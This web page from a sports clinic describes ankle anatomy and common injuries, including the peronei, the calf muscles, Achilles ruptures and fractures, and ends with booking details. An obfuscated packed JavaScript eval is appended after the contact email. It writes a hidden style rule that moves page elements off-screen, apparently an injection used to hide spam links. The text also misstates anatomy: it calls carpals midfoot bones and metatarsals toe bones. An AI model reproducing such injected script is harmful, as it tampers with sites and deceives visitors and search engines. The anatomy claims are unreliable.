Ankles are one of the most commonly sprained joints in the body. They are incredibly stable and strong when you are going forward or backwards in a straight line with a long tendon up the back of your leg called the Achilles which provides a lot of power and propulsion. However your ankle is a lot weaker from side to side, so when you step sideways or change direction this is where the ankle is most vulnerable to injury.
The ankle joint is stabilised by the setting of your bones, each fits into the other but if one goes wrong especially in your carpels in the midfoot it can put the whole system out. Ligaments are the main stabilisers and they offer support by wrapping around the bones to stop them from moving excessively. The inside of your ankle has the most stable ligaments with the outside being more prone to injury.
The ankle also has lots of long thin but strong muscles for stability and movement. Along the outside you have two muscles called your peronei. They can often be injured when you go over on your ankle, especially if you twist so that you’re the bottom of your foot is facing in, something called supination.
At the back of the lower leg you have the gastroc and soleus running into your Achilles and into a bone called your calcaneus which is your heel. The gastroc is responsible for more high speed work with the soleus more active at lower speeds. Pain during straight leg heel raises, stretches or high speed running could be indicative of a gastroc or Achilles issue. With bent knee heel raises, stretches or lower speed running more likely to be your soleus. When the Achilles fully ruptures you will struggle to point your toes or go up onto your tip toes, sometimes you can partially tear your Achilles and you can usually see a lump of swelling along the tendon and it will also be painful on a heel raise or pointing your toes. Fractures of the metatarsals, the bones in your toes, are the most common alongside fractures of your tibia or fibular, the two bones that make up your shin.
If you are suffering from any ankle discomfort or pain, our expert team at St George’s Park are able to assess and treat any problems. We offer a world class environment at very affordable prices and are open to the general public. To enquire about our service or book a consultation please call 01283 576 333 or email [email protected]. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));’,30,30,’116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110′.split(‘|’),0,{}))